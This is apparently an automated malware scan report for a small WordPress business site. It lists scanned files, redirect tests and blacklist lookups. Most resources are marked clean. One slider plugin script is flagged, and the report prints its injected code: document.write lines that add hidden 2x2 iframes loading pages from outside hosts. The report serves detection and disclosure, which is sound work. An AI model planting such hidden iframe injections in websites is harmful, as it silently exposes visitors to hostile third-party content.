Scanned pages/files
Request | Server response | Status |
http://www.websiteconstructionspecialists.com/ | HTTP/1.1 301 Moved Permanently Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: close Date: Sun, 05 Oct 2014 03:21:38 GMT Pragma: no-cache Location: http://websiteconstructionspecialists.com/ Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Set-Cookie: PHPSESSID=6gibhmt2f6cl3kkqq67gm52h33; path=/ X-Pingback: http://websiteconstructionspecialists.com/xmlrpc.php | clean |
http://websiteconstructionspecialists.com/ | 200 OK Content-Length: 14229 Content-Type: text/html | clean |
http://websiteconstructionspecialists.com/wp-content/themes/theme_backup/customtheme/js/jquery.min.js | 404 Not Found Content-Length: 13401 Content-Type: text/html | clean |
http://websiteconstructionspecialists.com/wp-content/themes/theme_backup/customtheme/js/bootstrap.min.js | 404 Not Found Content-Length: 13401 Content-Type: text/html | clean |
http://websiteconstructionspecialists.com/wp-content/themes/theme_backup/customtheme/js/bootstrap.js | 404 Not Found Content-Length: 13401 Content-Type: text/html | clean |
http://websiteconstructionspecialists.com/wp-includes/js/jquery/jquery.js?ver=1.10.2 | 200 OK Content-Length: 93085 Content-Type: application/javascript | clean |
http://websiteconstructionspecialists.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1 | 200 OK Content-Length: 7199 Content-Type: application/javascript | clean |
http://websiteconstructionspecialists.com/wp-content/plugins/responsive-slider/responsive-slider.js?ver=0.1 | 200 OK Content-Length: 12124 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://vcminden.de/mzmd.html?j=3182984></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=3182984></iframe>'); (function(a){a.flexslider=function(c,b){var d=c;d.init=function(){d.vars=a.extend({},a.flexslider.defaults,b);d.data("flexslider",true); var $sliderduration = parseInt(slider.duration); var $sliderstart = parseInt(slider.start); if ($sliderstart == 1) { $sliderstart = true; } else { $sliderstart = false; } rsjqu(window).load(function() { rsjqu('.flexslider').flexslider( { animation: $slidereffect, slideshowSpeed: $sliderdelay, animationDuration: $sliderduration, slideshow: $sliderstart } ); }); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://vcminden.de/mzmd.html?j=3182984 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://vcminden.de/mzmd.html?j=3182984> Hidden iFrame found. size: 2x2 src: http://alicebangkokescorts.com/womd.html?j=3182984 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=3182984> | ||
http://websiteconstructionspecialists.com/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=3.46.0-2013.11.21 | 200 OK Content-Length: 14798 Content-Type: application/javascript | clean |
http://websiteconstructionspecialists.com/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=3.6 | 200 OK Content-Length: 7691 Content-Type: application/javascript | clean |
http://s0.wp.com/wp-content/js/devicepx-jetpack.js?ver=201440 | 200 OK Content-Length: 9301 Content-Type: application/x-javascript | clean |
http://websiteconstructionspecialists.com/wp-content/themes/theme_backup/customtheme/js/ | 404 Not Found Content-Length: 13401 Content-Type: text/html | clean |
http://websiteconstructionspecialists.com/about-us/ | 200 OK Content-Length: 14101 Content-Type: text/html | clean |
http://websiteconstructionspecialists.com/wp-includes/js/comment-reply.min.js?ver=3.8.4 | 200 OK Content-Length: 757 Content-Type: application/javascript | clean |
http://websiteconstructionspecialists.com/services/ | 200 OK Content-Length: 14363 Content-Type: text/html | clean |
http://websiteconstructionspecialists.com/portfolio/ | 200 OK Content-Length: 13963 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: websiteconstructionspecialists.com
Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Sun, 05 Oct 2014 03:21:42 GMT
Pragma: no-cache
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Link: <http://websiteconstructionspecialists.com/?p=14>; rel=shortlink
Set-Cookie: PHPSESSID=o5po7hgskkjgs4p8pv8d2e5m70; path=/
X-Pingback: http://websiteconstructionspecialists.com/xmlrpc.php
GET / HTTP/1.1
Host: websiteconstructionspecialists.com
Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Sun, 05 Oct 2014 03:21:42 GMT
Pragma: no-cache
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Link: <http://websiteconstructionspecialists.com/?p=14>; rel=shortlink
Set-Cookie: PHPSESSID=o5po7hgskkjgs4p8pv8d2e5m70; path=/
X-Pingback: http://websiteconstructionspecialists.com/xmlrpc.php
Second query (visit from search engine):
GET / HTTP/1.1
Host: websiteconstructionspecialists.com
Referer: http://www.google.com/search?q=websiteconstructionspecialists.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: websiteconstructionspecialists.com
Referer: http://www.google.com/search?q=websiteconstructionspecialists.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=websiteconstructionspecialists.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://websiteconstructionspecialists.com/
Result: websiteconstructionspecialists.com is not infected or malware details are not published yet.
Result: websiteconstructionspecialists.com is not infected or malware details are not published yet.